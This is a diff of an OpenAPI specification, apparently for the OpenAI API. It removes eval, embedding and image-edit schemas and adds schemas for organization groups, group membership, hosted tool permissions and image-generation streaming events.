+ description: Confirmation payload returned after deleting a group.
properties:
object:
type: string
- description: Identifier for the deleted assignment, such as `group.role.deleted` or `user.role.deleted`.
+ enum:
+ - group.deleted
+ description: Always `group.deleted`.
+ x-stainless-const: true
+ id:
+ type: string
+ description: Identifier of the deleted group.
deleted:
type: boolean
- description: Whether the assignment was removed.
+ description: Whether the group was deleted.
required:
- object
+ - id
- deleted
x-oaiMeta:
- name: Role assignment deletion confirmation
example: |
{
- "object": "group.role.deleted",
+ "object": "group.deleted",
+ "id": "group_01J1F8ABCDXYZ",
"deleted": true
}
- DoneEvent:
+ GroupListResource:
type: object
+ description: Paginated list of organization groups.
properties:
- event:
+ object:
type: string
enum:
- - done
+ - list
+ description: Always `list`.
x-stainless-const: true
data:
- type: string
- enum:
- - '[DONE]'
- x-stainless-const: true
- required:
- - event
- - data
- description: Occurs when a stream ends.
- x-oaiMeta:
- dataDescription: '`data` is `[DONE]`'
- EasyInputMessage:
- type: object
- title: Input message
- description: |
- A message input to the model with a role indicating instruction following
- hierarchy. Instructions given with the `developer` or `system` role take
- precedence over instructions given with the `user` role. Messages with the
- `assistant` role are presumed to have been generated by the model in previous
- interactions.
- properties:
- role:
- type: string
- description: |
- The role of the message input. One of `user`, `assistant`, `system`, or
- `developer`.
- enum:
- - user
- - assistant
- - system
- - developer
- content:
- description: |
- Text, image, or audio input to the model, used to generate a response.
- Can also contain previous assistant responses.
+ type: array
+ description: Groups returned in the current page.
+ items:
+ $ref: '#/components/schemas/GroupResponse'
+ has_more:
+ type: boolean
+ description: Whether additional groups are available when paginating.
+ next:
+ description: Cursor to fetch the next page of results, or `null` if there are no more results.
anyOf:
- type: string
- title: Text input
- description: |
- A text input to the model.
- - $ref: '#/components/schemas/InputMessageContentList'
- phase:
- anyOf:
- - $ref: '#/components/schemas/MessagePhase'
- type: 'null'
- type:
- type: string
- description: |
- The type of the message input. Always `message`.
- enum:
- - message
- x-stainless-const: true
required:
- - role
- - content
- EditImageBodyJsonParam:
+ - object
+ - data
+ - has_more
+ - next
+ x-oaiMeta:
+ name: Group list
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "id": "group_01J1F8ABCDXYZ",
+ "name": "Support Team",
+ "created_at": 1711471533,
+ "is_scim_managed": false
+ },
+ {
+ "id": "group_01J1F8PQRMNO",
+ "name": "Sales",
+ "created_at": 1711472599,
+ "is_scim_managed": true
+ }
+ ],
+ "has_more": false,
+ "next": null
+ }
+ GroupMemberUser:
type: object
- description: |
- JSON request body for image edits.
-
- Use `images` (array of `ImageRefParam`) instead of multipart `image` uploads.
- You can reference images via external URLs, data URLs, or uploaded file IDs.
- JSON edits support GPT image models only; DALL-E edits require multipart (`dall-e-2` only).
+ description: Details about a user returned from an organization group membership lookup.
properties:
- model:
- anyOf:
- - type: string
- - type: string
- enum:
- - gpt-image-1.5
- - gpt-image-2
- - gpt-image-2-2026-04-21
- - gpt-image-2.5-sunburst
- - gpt-image-2.5-sunburst-2026-09-08
- - gpt-image-2.5-flare
- - gpt-image-2.5-flare-2026-09-08
- - gpt-image-1
- - gpt-image-1-mini
- - chatgpt-image-latest
- - type: 'null'
- x-oaiTypeLabel: string
- default: gpt-image-1.5
- example: gpt-image-1.5
- description: The GPT image model to use for image editing, including `gpt-image-2`, its dated snapshot `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`.
- images:
- type: array
- minItems: 1
- maxItems: 16
- description: |
- Input image references to edit.
- For GPT image models, you can provide up to 16 images.
- items:
- $ref: '#/components/schemas/ImageRefParam'
- mask:
- $ref: '#/components/schemas/ImageRefParam'
- prompt:
+ id:
type: string
- minLength: 1
- maxLength: 32000
- example: Add a watercolor effect and keep the subject centered
- description: A text description of the desired image edit.
- n:
- anyOf:
- - type: integer
- minimum: 1
- maximum: 10
- - type: 'null'
- default: 1
- example: 1
- description: The number of edited images to generate.
- quality:
- anyOf:
- - type: string
- enum:
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- - type: 'null'
- default: auto
- example: high
- description: |
- Output quality for GPT image models. The GPT image models support `low`, `medium`,
- and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
- `2026-09-08` snapshots, also support `xhigh` and `max`. Defaults to `auto`.
- input_fidelity:
- anyOf:
- - type: string
- enum:
- - high
- - low
- - type: 'null'
- description: Controls fidelity to the original input image(s). This parameter is supported for GPT image models that support input fidelity. `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - auto
- - 1024x1024
- - 1536x1024
- - 1024x1536
- - type: 'null'
- default: auto
- example: 1024x1024
- description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing.
- user:
+ description: Identifier for the user.
+ name:
type: string
- example: user-1234
- description: |
- A unique identifier representing your end-user, which can help OpenAI
- monitor and detect abuse.
- output_format:
- anyOf:
- - type: string
- enum:
- - png
- - jpeg
- - webp
- - type: 'null'
- default: png
- example: png
- description: Output image format. Supported for GPT image models.
- output_compression:
- anyOf:
- - type: integer
- minimum: 0
- maximum: 100
- - type: 'null'
- example: 100
- description: Compression level for `jpeg` or `webp` output.
- moderation:
+ description: Display name of the user.
+ email:
+ description: Email address of the user, or `null` for users without an email.
anyOf:
- type: string
- enum:
- - low
- - auto
- type: 'null'
- default: auto
- example: auto
- description: Moderation level for GPT image models.
- background:
+ picture:
+ description: URL of the user's profile picture, if available.
anyOf:
- type: string
- enum:
- - transparent
- - opaque
- - auto
- type: 'null'
- default: auto
- example: transparent
- description: Set the background of the generated image output. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds. Transparent backgrounds are available for supported GPT Image models. For `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When using `transparent`, set the output format to `png` or `webp`.
- stream:
+ is_service_account:
+ description: Whether the user is a service account.
anyOf:
- type: boolean
- type: 'null'
- default: false
- example: false
- description: Stream partial image results as events.
- partial_images:
- $ref: '#/components/schemas/PartialImages'
+ user_type:
+ type: string
+ enum:
+ - user
+ - tenant_user
+ description: The type of user.
required:
- - images
- - prompt
- Embedding:
+ - id
+ - name
+ - email
+ - picture
+ - is_service_account
+ - user_type
+ x-oaiMeta:
+ name: The group member user object
+ example: |
+ {
+ "id": "user_abc123",
+ "name": "Ada Lovelace",
+ "email": "ada@example.com",
+ "picture": null,
+ "is_service_account": false,
+ "user_type": "user"
+ }
+ GroupResourceWithSuccess:
type: object
- description: |
- Represents an embedding vector returned by embedding endpoint.
+ description: Response returned after updating a group.
properties:
- index:
+ id:
+ type: string
+ description: Identifier for the group.
+ name:
+ type: string
+ description: Updated display name for the group.
+ created_at:
type: integer
- description: The index of the embedding in the list of embeddings.
- embedding:
- type: array
- description: |
- The embedding vector, which is a list of floats. The length of vector depends on the model as listed in the [embedding guide](https://developers.openai.com/api/docs/guides/embeddings).
- items:
- type: number
- format: float
+ format: unixtime
+ description: Unix timestamp (in seconds) when the group was created.
+ is_scim_managed:
+ type: boolean
+ description: Whether the group is managed through SCIM and controlled by your identity provider.
+ required:
+ - id
+ - name
+ - created_at
+ - is_scim_managed
+ x-oaiMeta:
+ example: |
+ {
+ "id": "group_01J1F8ABCDXYZ",
+ "name": "Escalations",
+ "created_at": 1711471533,
+ "is_scim_managed": false
+ }
+ GroupResponse:
+ type: object
+ description: Details about an organization group.
+ properties:
+ id:
+ type: string
+ description: Identifier for the group.
+ name:
+ type: string
+ description: Display name of the group.
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) when the group was created.
+ is_scim_managed:
+ type: boolean
+ description: Whether the group is managed through SCIM and controlled by your identity provider.
+ group_type:
+ type: string
+ enum:
+ - group
+ - tenant_group
+ description: The type of the group.
+ required:
+ - id
+ - name
+ - created_at
+ - is_scim_managed
+ - group_type
+ x-oaiMeta:
+ name: Group
+ example: |
+ {
+ "id": "group_01J1F8ABCDXYZ",
+ "name": "Support Team",
+ "created_at": 1711471533,
+ "is_scim_managed": false,
+ "group_type": "group"
+ }
+ GroupRoleAssignment:
+ type: object
+ description: Role assignment linking a group to a role.
+ properties:
object:
type: string
- description: The object type, which is always "embedding".
enum:
- - embedding
+ - group.role
+ description: Always `group.role`.
x-stainless-const: true
+ group:
+ $ref: '#/components/schemas/Group'
+ role:
+ $ref: '#/components/schemas/Role'
required:
- - index
- object
- - embedding
+ - group
+ - role
x-oaiMeta:
- name: The embedding object
+ name: The group role object
example: |
{
- "object": "embedding",
- "embedding": [
- 0.0023064255,
- -0.009327292,
- .... (1536 floats total for ada-002)
- -0.0028842222,
- ],
- "index": 0
+ "object": "group.role",
+ "group": {
+ "object": "group",
+ "id": "group_01J1F8ABCDXYZ",
+ "name": "Support Team",
+ "created_at": 1711471533,
+ "scim_managed": false
+ },
+ "role": {
+ "object": "role",
+ "id": "role_01J1F8ROLE01",
+ "name": "API Group Manager",
+ "description": "Allows managing organization groups",
+ "permissions": [
+ "api.groups.read",
+ "api.groups.write"
+ ],
+ "resource_type": "api.organization",
+ "predefined_role": false
+ }
}
- Error:
+ GroupUser:
type: object
+ description: Represents an individual user returned when inspecting group membership.
properties:
- code:
- anyOf:
- - type: string
- - type: 'null'
- message:
+ id:
type: string
- param:
+ description: The identifier, which can be referenced in API endpoints
+ name:
+ type: string
+ description: The name of the user.
+ email:
anyOf:
- type: string
- type: 'null'
- type:
- type: string
- misalignment:
- $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
+ description: The email address of the user.
required:
- - type
- - message
- - param
- - code
- ErrorEvent:
+ - id
+ - name
+ - email
+ GroupUserAssignment:
type: object
+ description: Confirmation payload returned after adding a user to a group.
properties:
- event:
+ object:
type: string
enum:
- - error
+ - group.user
+ description: Always `group.user`.
x-stainless-const: true
- data:
- $ref: '#/components/schemas/Error'
+ user_id:
+ type: string
+ description: Identifier of the user that was added.
+ group_id:
+ type: string
+ description: Identifier of the group the user was added to.
required:
- - event
- - data
- description: Occurs when an [error](https://developers.openai.com/api/docs/guides/error-codes#api-errors) occurs. This can happen due to an internal server error or a timeout.
+ - object
+ - user_id
+ - group_id
x-oaiMeta:
- dataDescription: '`data` is an [error](https://developers.openai.com/api/docs/guides/error-codes#api-errors)'
- ErrorResponse:
- type: object
- properties:
- error:
- $ref: '#/components/schemas/Error'
- required:
- - error
- Eval:
+ name: The group user object
+ example: |
+ {
+ "object": "group.user",
+ "user_id": "user_abc123",
+ "group_id": "group_01J1F8ABCDXYZ"
+ }
+ GroupUserDeletedResource:
type: object
- title: Eval
- description: |
- An Eval object with a data source config and testing criteria.
- An Eval represents a task to be done for your LLM integration.
- Like:
- - Improve the quality of my chatbot
- - See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-6-astra
+ description: Confirmation payload returned after removing a user from a group.
properties:
object:
type: string
enum:
- - eval
- default: eval
- description: The object type.
+ - group.user.deleted
+ description: Always `group.user.deleted`.
x-stainless-const: true
- id:
- type: string
- description: Unique identifier for the evaluation.
- name:
- type: string
- description: The name of the evaluation.
- example: Chatbot effectiveness Evaluation
- data_source_config:
- type: object
- description: Configuration of data sources used in runs of the evaluation.
- anyOf:
- - $ref: '#/components/schemas/EvalCustomDataSourceConfig'
- - $ref: '#/components/schemas/EvalLogsDataSourceConfig'
- - $ref: '#/components/schemas/EvalStoredCompletionsDataSourceConfig'
- discriminator:
- propertyName: type
- testing_criteria:
- description: A list of testing criteria.
- type: array
- items:
- anyOf:
- - $ref: '#/components/schemas/EvalGraderLabelModel'
- - $ref: '#/components/schemas/EvalGraderStringCheck'
- - $ref: '#/components/schemas/EvalGraderTextSimilarity'
- - $ref: '#/components/schemas/EvalGraderPython'
- - $ref: '#/components/schemas/EvalGraderScoreModel'
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the eval was created.
- metadata:
- $ref: '#/components/schemas/Metadata'
+ deleted:
+ type: boolean
+ description: Whether the group membership was removed.
required:
- - id
- - data_source_config
- object
- - testing_criteria
- - name
- - created_at
- - metadata
+ - deleted
x-oaiMeta:
- name: The eval object
- group: evals
+ name: Group user deletion confirmation
example: |
{
- "object": "eval",
- "id": "eval_67abd54d9b0081909a86353f6fb9317a",
- "data_source_config": {
- "type": "custom",
- "item_schema": {
- "type": "object",
- "properties": {
- "label": {"type": "string"},
- },
- "required": ["label"]
- },
- "include_sample_schema": true
- },
- "testing_criteria": [
- {
- "name": "My string check grader",
- "type": "string_check",
- "input": "{{sample.output_text}}",
- "reference": "{{item.label}}",
- "operation": "eq",
- }
- ],
- "name": "External Data Eval",
- "created_at": 1739314509,
- "metadata": {
- "test": "synthetics",
- }
+ "object": "group.user.deleted",
+ "deleted": true
}
- EvalApiError:
+ HostedToolPermission:
type: object
- title: EvalApiError
- description: |
- An object representing an error response from the Eval API.
+ description: Permission state for a single hosted tool on a project.
properties:
- code:
+ enabled:
+ type: boolean
+ description: Whether the hosted tool is enabled for the project.
+ required:
+ - enabled
+ HostedToolPermissionUpdate:
+ type: object
+ properties:
+ enabled:
+ type: boolean
+ description: Whether to enable the hosted tool for the project.
+ required:
+ - enabled
+ Image:
+ type: object
+ description: Represents the content or the URL of an image generated by the OpenAI API.
+ properties:
+ b64_json:
type: string
- description: The error code.
- message:
+ description: The base64-encoded JSON of the generated image. Returned by default for the GPT image models, and only present if `response_format` is set to `b64_json` for `dall-e-2` and `dall-e-3`.
+ url:
type: string
- description: The error message.
- required:
- - code
- - message
- x-oaiMeta:
- name: The API error object
- group: evals
- example: |
- {
- "code": "internal_error",
- "message": "The eval run failed due to an internal error."
- }
- EvalCustomDataSourceConfig:
+ format: uri
+ description: When using `dall-e-2` or `dall-e-3`, the URL of the generated image if `response_format` is set to `url` (default value). Unsupported for the GPT image models.
+ revised_prompt:
+ type: string
+ description: For `dall-e-3` only, the revised prompt that was used to generate the image.
+ ImageEditCompletedEvent:
type: object
- title: CustomDataSourceConfig
description: |
- A CustomDataSourceConfig which specifies the schema of your `item` and optionally `sample` namespaces.
- The response schema defines the shape of the data that will be:
- - Used to define your testing criteria and
- - What data is required when creating a run
+ Emitted when image editing has completed and the final image is available.
properties:
type:
type: string
+ description: |
+ The type of the event. Always `image_edit.completed`.
enum:
- - custom
- default: custom
- description: The type of data source. Always `custom`.
+ - image_edit.completed
x-stainless-const: true
- schema:
- type: object
+ b64_json:
+ type: string
description: |
- The json schema for the run data source items.
- Learn how to build JSON schemas [here](https://json-schema.org/).
- additionalProperties: true
+ Base64-encoded final edited image data, suitable for rendering as an image.
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp when the event was created.
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ quality:
+ type: string
+ description: |
+ The quality setting for the edited image.
+ enum:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ background:
+ type: string
+ description: |
+ The background setting for the edited image.
+ enum:
+ - transparent
+ - opaque
+ - auto
+ output_format:
+ type: string
+ description: |
+ The output format for the edited image.
+ enum:
+ - png
+ - webp
+ - jpeg
+ usage:
+ $ref: '#/components/schemas/ImagesUsage'
required:
- type
- - schema
+ - b64_json
+ - created_at
+ - size
+ - quality
+ - background
+ - output_format
+ - usage
x-oaiMeta:
- name: The eval custom data source config object
- group: evals
+ name: image_edit.completed
+ group: images
example: |
{
- "type": "custom",
- "schema": {
- "type": "object",
- "properties": {
- "item": {
- "type": "object",
- "properties": {
- "label": {"type": "string"},
- },
- "required": ["label"]
- }
- },
- "required": ["item"]
+ "type": "image_edit.completed",
+ "b64_json": "...",
+ "created_at": 1620000000,
+ "size": "1024x1024",
+ "quality": "high",
+ "background": "transparent",
+ "output_format": "png",
+ "usage": {
+ "total_tokens": 100,
+ "input_tokens": 50,
+ "output_tokens": 50,
+ "input_tokens_details": {
+ "text_tokens": 10,
+ "image_tokens": 40
+ }
}
}
- EvalGraderLabelModel:
- type: object
- title: LabelModelGrader
- allOf:
- - $ref: '#/components/schemas/GraderLabelModel'
- EvalGraderPython:
- type: object
- title: EvalGraderPython
- allOf:
- - $ref: '#/components/schemas/GraderPython'
- - type: object
- properties:
- pass_threshold:
- type: number
- description: The threshold for the score.
- x-oaiMeta:
- name: Eval Python Grader
- group: graders
- example: |
- {
- "type": "python",
- "name": "Example python grader",
- "image_tag": "2025-05-08",
- "source": """
- def grade(sample: dict, item: dict) -> float:
- \"""
- Returns 1.0 if `output_text` equals `label`, otherwise 0.0.
- \"""
- output = sample.get("output_text")
- label = item.get("label")
- return 1.0 if output == label else 0.0
- """,
- "pass_threshold": 0.8
- }
- EvalGraderScoreModel:
- type: object
- title: EvalGraderScoreModel
- allOf:
- - $ref: '#/components/schemas/GraderScoreModel'
- - type: object
- properties:
- pass_threshold:
- type: number
- description: The threshold for the score.
- EvalGraderStringCheck:
- type: object
- title: StringCheckGrader
- allOf:
- - $ref: '#/components/schemas/GraderStringCheck'
- EvalGraderTextSimilarity:
- type: object
- title: EvalGraderTextSimilarity
- allOf:
- - $ref: '#/components/schemas/GraderTextSimilarity'
- - type: object
- properties:
- pass_threshold:
- type: number
- description: The threshold for the score.
- required:
- - pass_threshold
- x-oaiMeta:
- name: Text Similarity Grader
- group: graders
- example: |
- {
- "type": "text_similarity",
- "name": "Example text similarity grader",
- "input": "{{sample.output_text}}",
- "reference": "{{item.label}}",
- "pass_threshold": 0.8,
- "evaluation_metric": "fuzzy_match"
- }
- EvalItem:
+ ImageEditPartialImageEvent:
type: object
- title: EvalItem
description: |
- A message input to the model with a role indicating instruction following
- hierarchy. Instructions given with the `developer` or `system` role take
- precedence over instructions given with the `user` role. Messages with the
- `assistant` role are presumed to have been generated by the model in previous
- interactions.
+ Emitted when a partial image is available during image editing streaming.
properties:
- role:
+ type:
type: string
description: |
- The role of the message input. One of `user`, `assistant`, `system`, or
- `developer`.
+ The type of the event. Always `image_edit.partial_image`.
enum:
- - user
- - assistant
- - system
- - developer
- content:
- $ref: '#/components/schemas/EvalItemContent'
- type:
+ - image_edit.partial_image
+ x-stainless-const: true
+ b64_json:
type: string
description: |
- The type of the message input. Always `message`.
+ Base64-encoded partial image data, suitable for rendering as an image.
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp when the event was created.
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ quality:
+ type: string
+ description: |
+ The quality setting for the requested edited image.
enum:
- - message
- x-stainless-const: true
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ background:
+ type: string
+ description: |
+ The background setting for the requested edited image.
+ enum:
+ - transparent
+ - opaque
+ - auto
+ output_format:
+ type: string
+ description: |
+ The output format for the requested edited image.
+ enum:
+ - png
+ - webp
+ - jpeg
+ partial_image_index:
+ type: integer
+ description: |
+ 0-based index for the partial image (streaming).
required:
- - role
- - content
- EvalItemContent:
- title: Eval content
- description: |
- Inputs to the model - can contain template strings. Supports text, output text, input images, and input audio, either as a single item or an array of items.
- anyOf:
- - $ref: '#/components/schemas/EvalItemContentItem'
- - $ref: '#/components/schemas/EvalItemContentArray'
- EvalItemContentArray:
- type: array
- title: An array of Input text, Output text, Input image, and Input audio
- description: |
- A list of inputs, each of which may be either an input text, output text, input
- image, or input audio object.
- items:
- $ref: '#/components/schemas/EvalItemContentItem'
- EvalItemContentItem:
- title: Eval content item
- description: |
- A single content item: input text, output text, input image, or input audio.
+ - type
+ - b64_json
+ - created_at
+ - size
+ - quality
+ - background
+ - output_format
+ - partial_image_index
+ x-oaiMeta:
+ name: image_edit.partial_image
+ group: images
+ example: |
+ {
+ "type": "image_edit.partial_image",
+ "b64_json": "...",
+ "created_at": 1620000000,
+ "size": "1024x1024",
+ "quality": "high",
+ "background": "transparent",
+ "output_format": "png",
+ "partial_image_index": 0
+ }
+ ImageEditStreamEvent:
anyOf:
- - $ref: '#/components/schemas/EvalItemContentText'
- - $ref: '#/components/schemas/InputTextContent'
- - $ref: '#/components/schemas/EvalItemContentOutputText'
- - $ref: '#/components/schemas/EvalItemInputImage'
- - $ref: '#/components/schemas/InputAudio'
- x-stainless-naming:
- ruby:
- model_name: GraderInputItem
- EvalItemContentOutputText:
+ - $ref: '#/components/schemas/ImageEditPartialImageEvent'
+ - $ref: '#/components/schemas/ImageEditCompletedEvent'
+ discriminator:
+ propertyName: type
+ ImageGenCompletedEvent:
type: object
- title: Output text
description: |
- A text output from the model.
+ Emitted when image generation has completed and the final image is available.
properties:
type:
type: string
description: |
- The type of the output text. Always `output_text`.
+ The type of the event. Always `image_generation.completed`.
enum:
- - output_text
+ - image_generation.completed
x-stainless-const: true
- text:
+ b64_json:
type: string
description: |
- The text output from the model.
- required:
- - type
- - text
- EvalItemContentText:
- type: string
- title: Text input
- description: |
- A text input to the model.
- EvalItemInputImage:
- title: Input image
- description: An image input block used within EvalItem content arrays.
- type: object
- properties:
- type:
+ Base64-encoded image data, suitable for rendering as an image.
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp when the event was created.
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ quality:
type: string
description: |
- The type of the image input. Always `input_image`.
+ The quality setting for the generated image.
enum:
- - input_image
- x-stainless-const: true
- image_url:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ background:
type: string
- format: uri
description: |
- The URL of the image input.
- detail:
+ The background setting for the generated image.
+ enum:
+ - transparent
+ - opaque
+ - auto
+ output_format:
type: string
description: |
- The detail level of the image to be sent to the model. One of `high`, `low`, or `auto`. Defaults to `auto`.
+ The output format for the generated image.
+ enum:
+ - png
+ - webp
+ - jpeg
+ usage:
+ $ref: '#/components/schemas/ImagesUsage'
required:
- type
- - image_url
- EvalJsonlFileContentSource:
+ - b64_json
+ - created_at
+ - size
+ - quality
+ - background
+ - output_format
+ - usage
+ x-oaiMeta:
+ name: image_generation.completed
+ group: images
+ example: |
+ {
+ "type": "image_generation.completed",
+ "b64_json": "...",
+ "created_at": 1620000000,
+ "size": "1024x1024",
+ "quality": "high",
+ "background": "transparent",
+ "output_format": "png",
+ "usage": {
+ "total_tokens": 100,
+ "input_tokens": 50,
+ "output_tokens": 50,
+ "input_tokens_details": {
+ "text_tokens": 10,
+ "image_tokens": 40
+ }
+ }
+ }
+ ImageGenPartialImageEvent:
type: object
- title: EvalJsonlFileContentSource
+ description: |
+ Emitted when a partial image is available during image generation streaming.
properties:
type:
type: string
+ description: |
+ The type of the event. Always `image_generation.partial_image`.
enum:
- - file_content
- default: file_content
- description: The type of jsonl source. Always `file_content`.
+ - image_generation.partial_image
x-stainless-const: true
- content:
- type: array
- items:
- type: object
- properties:
- item:
- type: object
- additionalProperties: true
- sample:
- type: object
- additionalProperties: true
- required:
- - item
- description: The content of the jsonl file.
+ b64_json:
+ type: string
+ description: |
+ Base64-encoded partial image data, suitable for rendering as an image.
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp when the event was created.
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ quality:
+ type: string
+ description: |
+ The quality setting for the requested image.
+ enum:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ background:
+ type: string
+ description: |
+ The background setting for the requested image.
+ enum:
+ - transparent
+ - opaque
+ - auto
+ output_format:
+ type: string
+ description: |
+ The output format for the requested image.
+ enum:
+ - png
+ - webp
+ - jpeg
+ partial_image_index:
+ type: integer
+ description: |
+ 0-based index for the partial image (streaming).
required:
- type
- - content
- EvalJsonlFileIdSource:
+ - b64_json
+ - created_at
+ - size
+ - quality
+ - background
+ - output_format
+ - partial_image_index
+ x-oaiMeta:
+ name: image_generation.partial_image
+ group: images
+ example: |
+ {
+ "type": "image_generation.partial_image",
+ "b64_json": "...",
+ "created_at": 1620000000,
+ "size": "1024x1024",
+ "quality": "high",
+ "background": "transparent",
+ "output_format": "png",
+ "partial_image_index": 0
+ }
+ ImageGenStreamEvent:
+ anyOf:
+ - $ref: '#/components/schemas/ImageGenPartialImageEvent'
+ - $ref: '#/components/schemas/ImageGenCompletedEvent'
+ discriminator:
+ propertyName: type
+ ImageGenTool:
type: object
- title: EvalJsonlFileIdSource
+ title: Image generation tool
+ description: |
+ A tool that generates images using the GPT image models.
properties:
type:
type: string
enum:
- - file_id
- default: file_id
- description: The type of jsonl source. Always `file_id`.
+ - image_generation
+ description: |
+ The type of the image generation tool. Always `image_generation`.
x-stainless-const: true
- id:
+ model:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - gpt-image-1
+ - gpt-image-1-mini
+ - gpt-image-2
+ - gpt-image-2-2026-04-21
+ - gpt-image-2.5-sunburst
+ - gpt-image-2.5-sunburst-2026-09-08
+ - gpt-image-2.5-flare
+ - gpt-image-2.5-flare-2026-09-08
+ - gpt-image-1.5
+ - chatgpt-image-latest
+ description: |
+ The image generation model to use. One of `gpt-image-1`,
+ `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`. Default:
+ `gpt-image-1`.
+ default: gpt-image-1
+ quality:
type: string
- description: The identifier of the file.
+ enum:
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ - auto
+ description: |
+ The quality of the generated image. The GPT image models support `low`,
+ `medium`, and `high`. `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`,
+ including their `2026-09-08` snapshots, also support `xhigh` and `max`.
+ Default: `auto`.
+ default: auto
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ - auto
+ description: The size of the generated images. For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`, `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1. Resolutions above `2560x1440` are experimental, and the maximum supported resolution is `3840x2160`. The requested size must also satisfy the model's current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is supported for models that allow automatic sizing. For `dall-e-2`, use one of `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`, or `1024x1792`.
+ default: auto
+ output_format:
+ type: string
+ enum:
+ - png
+ - webp
+ - jpeg
+ description: |
+ The output format of the generated image. One of `png`, `webp`, or
+ `jpeg`. Default: `png`.
+ default: png
+ output_compression:
+ type: integer
+ minimum: 0
+ maximum: 100
+ description: |
+ Compression level for the output image. Default: 100.
+ default: 100
+ moderation:
+ type: string
+ enum:
+ - auto
+ - low
+ description: |
+ Moderation level for the generated image. Default: `auto`.
+ default: auto
+ background:
+ type: string
+ enum:
+ - transparent
+ - opaque
+ - auto
+ description: |
+ Allows to set transparency for the background of the generated image(s). Must
+ be one of `transparent`, `opaque`, or `auto` (default value). When `auto` is
+ used, the model will automatically determine the best background for the
+ image.
+
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their
+ `2026-09-08` snapshots, support `opaque` and `transparent` backgrounds.
+ Transparent backgrounds are available for supported GPT Image models. For
+ `gpt-image-2` and `gpt-image-2-2026-04-21`, this support is in preview. When
+ using `transparent`, set the output format to `png` or `webp`.
+ default: auto
+ input_fidelity:
+ anyOf:
+ - $ref: '#/components/schemas/InputFidelity'
+ - type: 'null'
+ description: Controls fidelity to the original input image(s). This parameter is supported for GPT image models that support input fidelity. `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
+ input_image_mask:
+ type: object
+ description: |
+ Optional mask for inpainting. Contains `image_url`
+ (string, optional) and `file_id` (string, optional).
+ properties:
+ image_url:
+ type: string
+ description: |
+ Base64-encoded mask image.
+ file_id:
+ type: string
+ description: |
+ File ID for the mask image.
+ required: []
+ additionalProperties: false
+ partial_images:
+ type: integer
+ minimum: 0
+ maximum: 3
+ description: |
+ Number of partial images to generate in streaming mode, from 0 (default value) to 3.
+ default: 0
+ action:
+ description: |
+ Whether to generate a new image or edit an existing image. Default: `auto`.
+ $ref: '#/components/schemas/ImageGenActionEnum'
required:
- type
- - id
- EvalList:
+ ImageRefParam:
type: object
- title: EvalList
description: |
- An object representing a list of evals.
